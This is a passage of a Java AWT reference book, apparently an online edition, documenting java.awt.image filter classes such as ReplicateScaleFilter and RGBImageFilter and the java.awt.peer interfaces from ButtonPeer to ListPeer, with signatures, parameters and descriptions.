Starts the process of grabbing the pixel data from the source and storing it in the array pixels[] from constructor. Returns when the image is complete, loading aborts, or an error occurs.

public synchronized boolean grabPixels (long ms) throws InterruptedException

Parameters

ms

Milliseconds to wait for completion.

Returns

true if image has completed loading, false if the loading process aborted, or an error or a timeout occurred.

Throws

InterruptedException

If image grabbing is interrupted before completion.

Description

Starts the process of grabbing the pixel data from the source and storing it in the array pixels[] from constructor. Returns when the image is complete, loading aborts, an error occurs, or a timeout occurs.

imageComplete

public synchronized void imageComplete (int status)

Parameters

status

Image loading completion status flags.

Implements

ImageConsumer.imageComplete(int)

Description

Called by the ImageProducer to indicate that the image has been delivered.

setColorModel

void setColorModel (ColorModel model)

Parameters

model

The color model for the image.

Implements

ImageConsumer.setColorModel(ColorModel)

Description

Does nothing.

setDimensions

void setDimensions (int width, int height)

Parameters

width

Width for image.

height

Height for image.

Implements

ImageConsumer.setDimensions(int, int)

Description

Does nothing.

setHints

void setHints (int hints)

Parameters

hints

Image consumption hints.

Implements

ImageConsumer.setHints(int)

Description

Does nothing.

setPixels

void setPixels (int x, int y, int width, int height, ColorModel model, byte[] pixels, int offset, int scansize)

Parameters

x

x-coordinate of top-left corner of pixel data delivered with this method call.

y

y-coordinate of top-left corner of pixel data delivered with this method call.

width

Width of the rectangle of pixel data delivered with this method call.

height

Height of the rectangle of pixel data delivered with this method call.

model

Color model of image data.

pixels

Image data.

offset

Offset from beginning of the pixels array.

scansize

Size of each line of data in pixels array.

Implements

ImageConsumer.setPixels(int, int, int, int, ColorModel, byte[], int, int)

Description

Called by the ImageProducer to deliver pixel data from the image.

void setPixels (int x, int y, int width, int height, ColorModel model, int[] pixels, int offset, int scansize)

Parameters

x

x-coordinate of top-left corner of pixel data delivered with this method call.

y

y-coordinate of top-left corner of pixel data delivered with this method call.

width

Width of the rectangle of pixel data delivered with this method call.

height

Height of the rectangle of pixel data delivered with this method call.

model

Color model of image data.

pixels

Image data.

offset

Offset from beginning of the pixels array.

scansize

Size of each line of data in pixels array.

Implements

ImageConsumer.setPixels(int, int, int, int, ColorModel, int[], int, int)

Description

Called by the ImageProducer to deliver pixel data from the image.

setProperties

void setProperties (Hashtable properties)

Parameters

properties

The properties for the image.

Implements

ImageConsumer.setProperties(Hashtable)

Description

Does nothing.

startGrabbing

public synchronized void startGrabbing() (New)

Description

Starts the PixelGrabber's image-grabbing process.

status

public synchronized int status () (Deprecated)

Returns

The ImageObserver flags OR'ed together representing the available information about the image. Replaced by getStatus().

See Also

ColorModel, Hashtable, Image, ImageConsumer, ImageProducer, InterruptedException, MemoryImageSource, Object

Previous | Home | Next
MemoryImageSource | Book Index | ReplicateScaleFilter (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] ReplicateScaleFilter

Previous Chapter 22
java.awt.image Reference 		Next

ReplicateScaleFilter (New)

Name

ReplicateScaleFilter (New)

[Graphic: Figure from the text]

Description

The ReplicateScaleFilter class uses a simple-minded algorithm to scale an image. If the image is to be reduced, rows and columns of pixels are removed. If the image is to be expanded, rows and columns are duplicated (replicated).

Class Definition

public class ReplicateScaleFilter
    extends java.awt.image.ImageFilter {
  // Variables
  protected int destHeight;
  protected int destWidth;
  protected Object outpixbuf;
  protected int srcHeight;
  protected int srcWidth;
  protected int[] srccols;
  protected int[] srcrows;
  // Constructor
  public ReplicateScaleFilter(int width, int height);
  // Instance Methods
  public void setDimensions (int w, int h);
  public void setPixels(int x, int y, int w, int h, ColorModel model,
      byte[] pixels, int off, int scansize);
  public void setPixels(int x, int y, int w, int h, ColorModel model,
      int[] pixels, int off, int scansize);
  public void setProperties(Hashtable props);
}

Variables

destHeight

protected int destHeight

Height of the scaled image.

destWidth

protected int destWidth

Width of the scaled image.

outpixbuf

protected Object outpixbuf

An internal buffer.

srcHeight

protected int srcHeight

Height of the original image.

srcWidth

protected int srcWidth

Width of the original image.

srccols

protected int[] srccols

Internal array used to map incoming columns to outgoing columns.

srcrows

protected int[] srcrows

Internal array used to map incoming rows to outgoing rows.

Constructor

ReplicateScaleFilter

public ReplicateScaleFilter (int width, int height)

Parameters

width

Width of scaled image.

height

Height of scaled image.

Description

Constructs a ReplicateScaleFilter that scales the original image to the specified size. If both width and height are -1, the destination image size will be set to the source image size. If either one of the parameters is -1, it will be set to preserve the aspect ratio of the original image.

Instance Methods

setDimensions

public void setDimensions (int w, int h)

Parameters

w

Width of the source image.

h

Height of the source image.

Overrides

ImageFilter.setDimensions(int, int)

Description

Sets the size of the source image.

setPixels

void setPixels (int x, int y, int w, int h, ColorModel model, byte[] pixels, int off, int scansize)

Parameters

x

x-coordinate of top-left corner of pixel data delivered with this method call.

y

y-coordinate of top-left corner of pixel data delivered with this method call.

w

Width of the rectangle of pixel data delivered with this method call.

h

Height of the rectangle of pixel data delivered with this method call.

model

Color model of image data.

pixels

Image data.

off

Offset from beginning of the pixels array.

scansize

Size of each line of data in pixels array.

Overrides

ImageFilter.setPixels(int, int, int, int, ColorModel, byte[], int, int)

Description

Receives a rectangle of image data from the ImageProducer; scales these pixels and delivers them to any ImageConsumers.

void setPixels (int x, int y, int w, int h, ColorModel model, int[] pixels, int off, int scansize)

Parameters

x

x-coordinate of top-left corner of pixel data delivered with this method call.

y

y-coordinate of top-left corner of pixel data delivered with this method call.

w

Width of the rectangle of pixel data delivered with this method call.

h

Height of the rectangle of pixel data delivered with this method call.

model

Color model of image data.

pixels

Image data.

off

Offset from beginning of the pixels array.

scansize

Size of each line of data in pixels array.

Overrides

ImageFilter.setPixels(int, int, int, int, ColorModel, int[], int, int)

Description

Receives a rectangle of image data from the ImageProducer; scales these pixels and delivers them to any ImageConsumers.

setProperties

public void setProperties (Hashtable props)

Parameters

props

The properties for the image.

Overrides

ImageFilter.setProperties(Hashtable)

Description

Adds the "rescale" image property to the properties list.

See Also

ColorModel, Hashtable, ImageConsumer, ImageFilter, ImageProducer

Previous | Home | Next
PixelGrabber | Book Index | RGBImageFilter
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] RGBImageFilter

Previous Chapter 22
java.awt.image Reference 		Next

RGBImageFilter

Name

RGBImageFilter

[Graphic: Figure from the text]

Description

RGBImageFilter is an abstract class that helps you filter images based on each pixel's color and position. In most cases, the only method you need to implement in subclasses is filterRGB(), which returns a new pixel value based on the old pixel's color and position. RGBImageFilter cannot be used to implement filters that depend on the value of neighboring pixels, or other factors aside from color and position.

Class Definition

public abstract class java.awt.image.RGBImageFilter
    extends java.awt.image.ImageFilter {
  // Variables
  protected boolean canFilterIndexColorModel;
  protected ColorModel newmodel;
  protected ColorModel oldmodel;
  // Instance Methods
  public IndexColorModel filterIndexColorModel (IndexColorModel icm);
  public abstract int filterRGB (int x, int y, int rgb);
  public void filterRGBPixels (int x, int y, int width,
      int height, int[] pixels, int off, int scansize);
  public void setColorModel (ColorModel model);
  public void setPixels (int x, int y, int width, int height,
      ColorModel model, byte[] pixels, int offset, int scansize);
  public void setPixels (int x, int y, int width, int height,
      ColorModel model, int[] pixels, int offset, int scansize);
  public void substituteColorModel (ColorModel oldModel,
      ColorModel newModel);
}

Variables

canFilterIndexColorModel

protected boolean canFilterIndexColorModel

Setting the canFilterIndexColorModel variable to true indicates the filter can filter IndexColorModel images. To filter an IndexColorModel, the filter must depend only on color, not on position.

newmodel

protected ColorModel newmodel

A place to store a new ColorModel.

origmodel

protected ColorModel origmodel

A place to store an old ColorModel.

Instance Methods

filterIndexColorModel

public IndexColorModel filterIndexColorModel (IndexColorModel icm)

Parameters

icm

Color model to filter.

Returns

Filtered color model.

Description

Helper method for setColorModel() that runs the entire color table of icm through the filterRGB() method of the subclass. Used only if canFilterIndexColorModel is true, and the image uses an IndexColorModel.

filterRGB

public abstract int filterRGB (int x, int y, int rgb)

Parameters

x

x-coordinate of pixel data.

y

y-coordinate of pixel data.

rgb

Color value of pixel to filter.

Returns

New color value of pixel.

Description

Subclasses implement this method to provide a filtering function that generates new pixels.

filterRGBPixels

public void filterRGBPixels (int x, int y, int width, int height, int[] pixels, int off, int scansize)

Parameters

x

x-coordinate of top-left corner of pixel data within entire image.

y

y-coordinate of top-left corner of pixel data within entire image.

width

Width of pixel data within entire image.

height

Height of pixel data within entire image.

pixels

Image data.

off

Offset from beginning of each line in pixels array.

scansize

Size of each line of data in pixels array.

Description

Helper method for setPixels() that filters each element of the pixels buffer through the subclass's filterRGB() method.

setColorModel

public void setColorModel (ColorModel model)

Parameters

model

The color model for the image.

Overrides

ImageFilter.setColorModel(ColorModel)

Description

Sets the image's color model.

setPixels

public void setPixels (int x, int y, int width, int height, ColorModel model, byte[] pixels, int offset, int scansize)

Parameters

x

x-coordinate of top-left corner of pixel data delivered with this method call.

y

y-coordinate of top-left corner of pixel data delivered with this method call.

width

Width of the rectangle of pixel data delivered with this method call.

height

Height of the rectangle of pixel data delivered with this method call.

model

Color model of image data.

pixels

Image data.

offset

Offset from beginning of the pixels array.

scansize

Size of each line of data in pixels array.

Overrides

ImageFilter.setPixels(int, int, int, int, ColorModel, byte[], int, int)

Description

Called by the ImageProducer to deliver a rectangular block of pixels for filtering.

public void setPixels (int x, int y, int width, int height, ColorModel model, int[] pixels, int offset, int scansize)

Parameters

x

x-coordinate of top-left corner of pixel data delivered with this method call.

y

y-coordinate of top-left corner of pixel data delivered with this method call.

width

Width of the rectangle of pixel data delivered with this method call.

height

Height of the rectangle of pixel data delivered with this method call.

model

Color model of image data.

pixels

Image data.

offset

Offset from beginning of the pixels array.

scansize

Size of each line of data in pixels array.

Overrides

ImageFilter.setPixels(int, int, int, int, ColorModel, int[], int, int)

Description

Called by the ImageProducer to deliver a rectangular block of pixels for filtering.

substituteColorModel

public void substituteColorModel (ColorModel oldModel, ColorModel newModel)

Parameters

oldModel

New value for origmodel variable.

newModel

New value for newmodel variable.

Description

Helper method for setColorModel() to initialize the protected variables newmodel and origmodel.

See Also

ColorModel, ImageFilter

Previous | Home | Next
ReplicateScaleFilter (New) | Book Index | java.awt.peer Reference
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] java.awt.image Reference

Previous Chapter 22 Next

22. java.awt.image Reference

Contents:

Select a new section and then

AreaAveragingScaleFilter (New)

Name

AreaAveragingScaleFilter (New)

[Graphic: Figure from the text]

Description

The AreaAveragingScaleFilter class scales an image using a simple smoothing algorithm.

Class Definition

public class java.awt.image.AreaAveragingScaleFilter
    extends java.awt.image.ReplicateScaleFilter {
  // Constructor
  public AreaAveragingScaleFilter (int width, int height);
  // Instance Methods
  public void setHints (int hints);
  public void setPixels (int x, int y, int w, int h, ColorModel model,
    byte[] pixels, int off, int scansize);
  public void setPixels (int x, int y, int w, int h, ColorModel model,
    int[] pixels, int off, int scansize);
}

Constructor

AreaAveragingScaleFilter

public AreaAveragingScaleFilter (int width, int height)

Parameters

width

Width of scaled image.

height

Height of scaled image.

Description

Constructs an AverageScaleFilter that scales the original image to the specified size.

Instance Methods

setHints

public void setHints (int hints)

Parameters

hints

Flags indicating how data will be delivered.

Overrides

ImageFilter.setHints(int)

Description

Gives this filter hints about how data will be delivered.

setPixels

public void setPixels (int x, int y, int w, int h, ColorModel model, byte[] pixels, int off, int scansize)

Parameters

x

x-coordinate of top-left corner of pixel data delivered with this method call.

y

y-coordinate of top-left corner of pixel data delivered with this method call.

w

Width of the rectangle of pixel data delivered with this method call.

h

Height of the rectangle of pixel data delivered with this method call.

model

Color model of image data.

pixels

Image data.

off

Offset from beginning of the pixels array.

scansize

Size of each line of data in pixels array.

Overrides

ReplicateScaleFilter.setPixels(int, int, int, int, ColorModel, byte[], int, int)

Description

Receives a rectangle of image data from the ImageProducer; scales these pixels and delivers them to any ImageConsumers.

public void setPixels (int x, int y, int w, int h, ColorModel model, int[] pixels, int off, int scansize)

Parameters

x

x-coordinate of top-left corner of pixel data delivered with this method call.

y

y-coordinate of top-left corner of pixel data delivered with this method call.

w

Width of the rectangle of pixel data delivered with this method call.

h

Height of the rectangle of pixel data delivered with this method call.

model

Color model of image data.

pixels

Image data.

off

Offset from beginning of the pixels array.

scansize

Size of each line of data in pixels array.

Overrides

ReplicateScaleFilter.setPixels(int, int, int, int, ColorModel, int[], int, int)

Description

Receives a rectangle of image data from the ImageProducer; scales these pixels and delivers them to any ImageConsumers.

See Also

ColorModel, ReplicateScaleFilter

Previous | Home | Next
WindowListener (New) | Book Index | ColorModel
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] java.awt.peer Reference

Previous Chapter 23 Next

23. java.awt.peer Reference

Contents:
CanvasPeer
CheckboxMenuItemPeer
CheckboxPeer
ChoicePeer
ComponentPeer
ContainerPeer
DialogPeer
FileDialogPeer
FontPeer (New)
FramePeer
LabelPeer
LightweightPeer (New)
ListPeer
MenuBarPeer
MenuComponentPeer
MenuItemPeer
MenuPeer
PanelPeer
PopupMenuPeer (New)
ScrollbarPeer
ScrollPanePeer (New)
TextAreaPeer
TextComponentPeer
TextFieldPeer
WindowPeer

ButtonPeer

Name

ButtonPeer

[Graphic: Figure from the text]

Description

ButtonPeer is an interface that defines the basis for buttons.

Interface Definition

public abstract interface java.awt.peer.ButtonPeer
extends java.awt.peer.ComponentPeer {
  // Interface Methods
  public abstract void setLabel (String label);
}

Interface Methods

setLabel

public abstract void setLabel (String label)

Parameters

label

New text for label of button's peer.

Description

Changes the text of the label of button's peer.

See Also

ComponentPeer, String

Previous | Home
WindowPeer | Book Index
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] CanvasPeer

Previous Chapter 23
java.awt.peer Reference 		Next

CanvasPeer

Name

CanvasPeer

[Graphic: Figure from the text]

Description

CanvasPeer is an interface that defines the basis for canvases.

Interface Definition

public abstract interface java.awt.peer.CanvasPeer
   extends java.awt.peer.ComponentPeer {
}

See Also

ComponentPeer

Previous | Home | Next
ButtonPeer | Book Index | CheckboxMenuItemPeer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] CheckboxMenuItemPeer

Previous Chapter 23
java.awt.peer Reference 		Next

CheckboxMenuItemPeer

Name

CheckboxMenuItemPeer

[Graphic: Figure from the text]

Description

CheckboxMenuItemPeer is an interface that defines the basis for checkbox menu items.

Interface Definition

public abstract interface java.awt.peer.CheckboxMenuItemPeer
   extends java.awt.peer.MenuItemPeer {
  // Interface Methods
  public abstract void setState (boolean condition);
}

Interface Methods

setState

public abstract void setState (boolean condition)

Parameters

condition

New state for checkbox menu item's peer.

Description

Changes the state of checkbox menu item's peer.

See Also

MenuComponentPeer, MenuItemPeer

Previous | Home | Next
CanvasPeer | Book Index | CheckboxPeer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] CheckboxPeer

Previous Chapter 23
java.awt.peer Reference 		Next

CheckboxPeer

Name

CheckboxPeer

[Graphic: Figure from the text]

Description

CheckboxPeer is an interface that defines the basis for checkbox components.

Interface Definition

public abstract interface java.awt.peer.CheckboxPeer
   extends java.awt.peer.ComponentPeer {
  // Interface Methods
  public abstract void setCheckboxGroup (CheckboxGroup group);
  public abstract void setLabel (String label);
  public abstract void setState (boolean state);
}

Interface Methods

setCheckboxGroup

public abstract void setCheckboxGroup (CheckboxGroup group)

Parameters

group

New group to put the checkbox peer in.

Description

Changes the checkbox group to which the checkbox peer belongs; implicitly removes the peer from its old group, if any.

setLabel

public abstract void setLabel (String label)

Parameters

label

New text for label of checkbox's peer.

Description

Changes the text of the label of the checkbox's peer.

setState

public abstract void setState (boolean state)

Parameters

state

New state for the checkbox's peer.

Description

Changes the state of the checkbox's peer.

See Also

CheckboxGroup, ComponentPeer, String

Previous | Home | Next
CheckboxMenuItemPeer | Book Index | ChoicePeer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] ChoicePeer

Previous Chapter 23
java.awt.peer Reference

ChoicePeer

Name

ChoicePeer

[Graphic: Figure from the text]

Description

ChoicePeer is an interface that defines the basis for choice components.

Interface Definition

public abstract interface java.awt.peer.ChoicePeer
   extends java.awt.peer.ComponentPeer {
  // Interface Methods
  public abstract void add (String item, int index);   (New)
  public abstract void addItem (String item, int position);   (Deprecated)
  public abstract void remove (int index);   (New)
  public abstract void select (int position);
}

Interface Methods

add

public abstract void add (String item, int index) (New)

Parameters

item

Text of the entry to add.

index

Position in which to add the entry; position 0 is the first entry in the list.

Description

Adds a new entry to the available choices at the designated position.

addItem

public abstract void addItem (String item, int position) (Deprecated)

Parameters

item

Text of the entry to add.

position

Position in which to add the entry; position 0 is the first entry in the list.

Description

Adds a new entry to the available choices at the designated position.

remove

public abstract void remove (int index) (New)

Parameters

index

Position of the item to remove.

Description

Removes an entry at the given position.

select

public abstract void select (int position)

Parameters

position

Position to make selected entry.

Description

Makes the given entry the selected one for the choice's peer.

See Also

ComponentPeer, String

Previous | Home
CheckboxPeer | Book Index
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] ComponentPeer

Previous Chapter 23
java.awt.peer Reference 		Next

ComponentPeer

Name

ComponentPeer

[Graphic: Figure from the text]

Description

ComponentPeer is an interface that defines the basis for all non-menu GUI peer interfaces.

Interface Definition

public abstract interface java.awt.peer.ComponentPeer {
  // Interface Methods
  public abstract int checkImage (Image image, int width, int height,
    ImageObserver observer);
  public abstract Image createImage (ImageProducer producer);
  public abstract Image createImage (int width, int height);
  public abstract void disable();   (Deprecated)
  public abstract void dispose();
  public abstract void enable();   (Deprecated)
  public abstract ColorModel getColorModel();
  public abstract FontMetrics getFontMetrics (Font f);
  public abstract Graphics getGraphics();
  public abstract Point getLocationOnScreen();   (New)
  public abstract Dimension getMinimumSize();   (New)
  public abstract Dimension getPreferredSize();   (New)
  public abstract Toolkit getToolkit();
  public abstract boolean handleEvent (Event e);
  public abstract void hide();   (Deprecated)
  public abstract boolean isFocusTraversable();   (New)
  public abstract Dimension minimumSize();   (Deprecated)
  public abstract void paint (Graphics g);
  public abstract Dimension preferredSize ();   (Deprecated)
  public abstract boolean prepareImage (Image image, int width, int height,
    ImageObserver observer);
  public abstract void print (Graphics g);
  public abstract void repaint (long tm, int x, int y, int width, int height);
  public abstract void requestFocus();
  public abstract void reshape (int x, int y, int width, int height);   (Deprecated)
  public abstract void setBackground (Color c);
  public abstract void setBounds (int x, int y, int width, int height);   (New)
  public abstract void setCursor (Cursor cursor);   (New)
  public abstract void setEnabled (boolean b);   (New)
  public abstract void setFont (Font f);
  public abstract void setForeground (Color c);
  public abstract void setVisible (boolean b);   (New)
  public abstract void show();   (Deprecated)
}

Interface Methods

checkImage

public abstract int checkImage (Image image, int width, int height, ImageObserver observer)

Parameters

image

Image to check.

width

Horizontal size to which the image will be scaled.

height

Vertical size to which the image will be scaled.

observer

An ImageObserver to monitor image loading; normally, the object on which the image will be rendered.

Returns

ImageObserver flags ORed together indicating status.

Description

Checks status of image construction.

createImage

public abstract Image createImage (ImageProducer producer)

Parameters

producer

An object that implements the ImageProducer interface to create a new image.

Returns

Newly created image instance.

Description

Creates an Image based upon an ImageProducer.

public abstract Image createImage (int width, int height)

Parameters

width

Horizontal size for in-memory Image.

height

Vertical size for in-memory Image.

Returns

Newly created image instance.

Description

Creates an in-memory Image for double buffering.

disable

public abstract void disable() (Deprecated)

Description

Disables component so that it is unresponsive to user interactions. Replaced by setEnabled(false).

dispose

public abstract void dispose()

Description

Releases resources used by peer.

enable

public abstract void enable() (Deprecated)

Description

Enables component so that it is responsive to user interactions. Replaced by setEnabled(true).

getColorModel

public abstract ColorModel getColorModel()

Returns

ColorModel used to display the current component.

getFontMetrics

public abstract FontMetrics getFontMetrics (Font f)

Parameters

f

A font whose metrics are desired.

Returns

Font sizing information for the desired font.

getGraphics

public abstract Graphics getGraphics()

Throws

InternalException

If acquiring a graphics context is unsupported

Returns

Component's graphics context.

getLocationOnScreen

public abstract Point getLocationOnScreen() (New)

Returns

The location of the component in the screen's coordinate space.

getMinimumSize

public abstract Dimension getMinimumSize() (New)

Returns

The minimum dimensions of the component.

getPreferredSize

public abstract Dimension getPreferredSize() (New)

Returns

The preferred dimensions of the component.

getToolkit

public abstract Toolkit getToolkit()

Returns

Toolkit of Component.

handleEvent

public abstract boolean handleEvent (Event e)

Parameters

e

Event instance identifying what caused the method to be called.

Returns

true if the peer handled the event, false to propagate the event to the parent container.

Description

High-level event handling routine.

hide

public abstract void hide() (Deprecated)

Description

Hides the component. Replaced by setVisible(false).

isFocusTraversable

public abstract boolean isFocusTraversable() (New)

Returns

true if the peer can be tabbed onto, false otherwise.

Description

Determines if this peer is navigable using the keyboard.

minimumSize

public abstract Dimension minimumSize() (Deprecated)

Returns

The minimum dimensions of the component. Replaced by getMinimumSize().

paint

public abstract void paint (Graphics g)

Parameters

g

Graphics context of the component.

Description

Draws something in graphics context.

preferredSize

public abstract Dimension preferredSize() (Deprecated)

Returns

The preferred dimensions of the component. Replaced by getPreferredSize().

prepareImage

public abstract boolean prepareImage (Image image, int width, int height, ImageObserver observer)

Parameters

image

Image to load.

width

Horizontal size to which the image will be scaled.

height

Vertical size to which the image will be scaled.

observer

An ImageObserver to monitor image loading; normally, the object on which the image will be rendered.

Returns

true if the image has already loaded, false otherwise.

Description

Forces the image to start loading.

print

public abstract void print (Graphics g)

Parameters

g

Graphics context of component.

Description

Print something from the graphics context.

repaint

public abstract void repaint (long tm, int x, int y, int width, int height)

Parameters

tm

Millisecond delay allowed before repaint.

x

Horizontal origin of bounding box to redraw.

y

Vertical origin of bounding box to redraw.

width

Width of bounding box to redraw.

height

Height of bounding box to redraw.

Description

Requests scheduler to redraw portion of component within a time period.

requestFocus

public abstract void requestFocus()

Description

Requests this Component gets the input focus.

reshape

public abstract void reshape (int x, int y, int width, int height) (Deprecated)

Parameters

x

New horizontal position for component.

y

New vertical position for component.

width

New width for component.

height

New height for component.

Description

Relocates and resizes the component's peer. Replaced by setBounds(int, int, int, int).

setBackground

public abstract void setBackground (Color c)

Parameters

c

New color for the background.

Description

Changes the background color of the component.

setBounds

public abstract void setBounds (int x, int y, int width, int height) (New)

Parameters

x

New horizontal position for component.

y

New vertical position for component.

width

New width for component.

height

New height for component.

Description

Relocates and resizes the component's peer.

setCursor

public abstract void setCursor (Cursor cursor) (New)

Parameters

cursor

New cursor.

Description

Changes the cursor of the component.

setEnabled

public abstract void setEnabled (boolean b) (New)

Parameters

b

true to enable the peer; false to disable it.

Description

Enables or disables the peer.

setFont

public abstract void setFont (Font f)

Parameters

f

New font for the component.

Description

Changes the font used to display text in the component.

setForeground

public abstract void setForeground (Color c)

Parameters

c

New foreground color for the component.

Description

Changes the foreground color of the component.

setVisible

public abstract void setVisible (boolean b) (New)

Parameters

b

true to show the peer; false to hide it.

Description

Shows or hides the peer.

show

public abstract void show() (Deprecated)

Description

Makes the peer visible. Replaced by setVisible(true).

See Also

ButtonPeer, CanvasPeer, CheckboxPeer, ChoicePeer, Color, ColorModel, ContainerPeer, Cursor, Dimension, Event, Font, FontMetrics, Graphics, Image, ImageObserver, ImageProducer, LabelPeer, ListPeer, ScrollbarPeer, TextComponentPeer, Toolkit

Previous | Home | Next
ChoicePeer | Book Index | ContainerPeer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] ContainerPeer

Previous Chapter 23
java.awt.peer Reference 		Next

ContainerPeer

Name

ContainerPeer

[Graphic: Figure from the text]

Description

ContainerPeer is an interface that defines the basis for containers.

Interface Definition

public abstract interface java.awt.peer.ContainerPeer
   extends java.awt.peer.ComponentPeer {
  // Interface Methods
  public abstract void beginValidate();   (New)
  public abstract void endValidate();   (New)
  public abstract Insets getInsets();   (New)
  public abstract Insets insets();   (Deprecated)
}

Interface Methods

beginValidate

public abstract void beginValidate() (New)

Description

Notifies the peer that the Container is going to validate its contents.

endValidate

public abstract void endValidate() (New)

Description

Notifies the peer that the Container is finished validating its contents.

getInsets

public Insets getInsets() (New)

Returns

Current Insets of container's peer.

insets

public Insets insets() (Deprecated)

Returns

Current Insets of container's peer. Replaced by getInsets().

See Also

ComponentPeer, Insets, PanelPeer, ScrollPanePeer, WindowPeer

Previous | Home | Next
ComponentPeer | Book Index | DialogPeer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] DialogPeer

Previous Chapter 23
java.awt.peer Reference 		Next

DialogPeer

Name

DialogPeer

[Graphic: Figure from the text]

Description

DialogPeer is an interface that defines the basis for a dialog box.

Interface Definition

public abstract interface java.awt.peer.DialogPeer
   extends java.awt.peer.WindowPeer {
  // Interface Methods
  public abstract void setResizable (boolean resizable);
  public abstract void setTitle (String title);
}

Interface Methods

setResizable

public abstract void setResizable (boolean resizable)

Parameters

resizable

true if the dialog's peer should allow resizing; false to prevent resizing.

Description

Changes the resize state of the dialog's peer.

setTitle

public abstract void setTitle (String title)

Parameters

title

New title for the dialog's peer.

Description

Changes the title of the dialog's peer.

See Also

FileDialogPeer, String, WindowPeer

Previous | Home | Next
ContainerPeer | Book Index | FileDialogPeer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] FileDialogPeer

Previous Chapter 23
java.awt.peer Reference 		Next

FileDialogPeer

Name

FileDialogPeer

[Graphic: Figure from the text]

Description

FileDialogPeer is an interface that defines the basis for a file dialog box.

Interface Definition

public abstract interface java.awt.peer.FileDialogPeer
   extends java.awt.peer.DialogPeer {
  // Interface Methods
  public abstract void setDirectory (String directory);
  public abstract void setFile (String file);
  public abstract void setFilenameFilter (FilenameFilter filter);
}

Interface Methods

setDirectory

public abstract void setDirectory (String directory)

Parameters

directory

Initial directory for file dialog's peer.

Description

Changes the directory displayed in the file dialog's peer.

setFile

public abstract void setFile (String file)

Parameters

file

Initial filename for the file dialog's peer.

Description

Changes the default file selection for the file dialog's peer.

setFilenameFilter

public abstract void setFilenameFilter (FilenameFilter filter)

Parameters

filter

Initial filter for file dialog's peer.

Description

Changes the current filename filter of the file dialog's peer.

See Also

DialogPeer, FilenameFilter, String

Previous | Home | Next
DialogPeer | Book Index | FontPeer (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] FontPeer

Previous Chapter 23
java.awt.peer Reference 		Next

FontPeer (New)

Name

FontPeer (New)

[Graphic: Figure from the text]

Description

FontPeer is an interface that defines the basis for fonts.

Interface Definition

public abstract interface java.awt.peer.FontPeer {
}

See Also

ComponentPeer

Previous | Home | Next
FileDialogPeer | Book Index | FramePeer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] FramePeer

Previous Chapter 23
java.awt.peer Reference 		Next

FramePeer

Name

FramePeer

[Graphic: Figure from the text]

Description

FramePeer is an interface that defines the basis for a frame.

Interface Definition

public abstract interface java.awt.peer.FramePeer
   extends java.awt.peer.WindowPeer {
  // Interface Methods
  public abstract void setIconImage (Image image);
  public abstract void setMenuBar (MenuBar bar);
  public abstract void setResizable (boolean resizable);
  public abstract void setTitle (String title);
}

Interface Methods

setIconImage

public abstract void setIconImage (Image image)

Parameters

image

New image to use for frame peer's icon.

Description

Changes the icon associated with the frame's peer.

setMenuBar

public abstract void setMenuBar (MenuBar bar)

Parameters

bar

New MenuBar to use for the frame's peer.

Description

Changes the menu bar of the frame.

setResizable

public abstract void setResizable (boolean resizable)

Parameters

resizable

true if the frame's peer should allow resizing, false to prevent resizing.

Description

Changes the resize state of the frame's peer.

setTitle

public abstract void setTitle (String title)

Parameters

title

New title to use for the frame's peer.

Description

Changes the title of the frame's peer.

See Also

Image, MenuBar, String, WindowPeer

Previous | Home | Next
FontPeer (New) | Book Index | LabelPeer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] LabelPeer

Previous Chapter 23
java.awt.peer Reference 		Next

LabelPeer

Name

LabelPeer

[Graphic: Figure from the text]

Description

LabelPeer is an interface that defines the basis for label components.

Interface Definition

public abstract interface java.awt.peer.LabelPeer
   extends java.awt.peer.ComponentPeer {
  // Interface Methods
  public abstract void setAlignment (int alignment);
  public abstract void setText (String label);
}

Interface Methods

setAlignment

public abstract void setAlignment (int alignment)

Parameters

alignment

New alignment for label's peer.

Description

Changes the current alignment of label's peer.

setText

public abstract void setText (String label)

Parameters

label

New text for label's peer.

Description

Changes the current text of label's peer.

See Also

ComponentPeer, String

Previous | Home | Next
FramePeer | Book Index | LightweightPeer (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] LightweightPeer

Previous Chapter 23
java.awt.peer Reference 		Next

LightweightPeer (New)

Name

LightweightPeer (New)

[Graphic: Figure from the text]

Description

LightweightPeer is an interface that defines the basis for components that don't have a visual representation. When you directly subclass Component or Container, a LightweightPeer is used.

Interface Definition

public abstract interface java.awt.peer.LightweightPeer
   extends java.awt.peer.ComponentPeer {
}

See Also

ComponentPeer

Previous | Home | Next
LabelPeer | Book Index | ListPeer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] ListPeer

Previous Chapter 23
java.awt.peer Reference 		Next

ListPeer

Name

ListPeer

[Graphic: Figure from the text]

Description

ListPeer is an interface that defines the basis for list components.

Interface Definition

public abstract interface java.awt.peer.ListPeer
   extends java.awt.peer.ComponentPeer {
  // Interface Methods
  public abstract void add (String item, int index);   (New)
  public abstract void addItem (String item, int index);   (Deprecated)
  public abstract void clear();   (Deprecated)
  public abstract void delItems (int start, int end);
  public abstract void deselect (int index);
  public abstract Dimension getMinimumSize (int rows);   (New)
  public abstract Dimension getPreferredSize (int rows);   (New)
  public abstract int[] getSelectedIndexes();
  public abstract void makeVisible (int index);
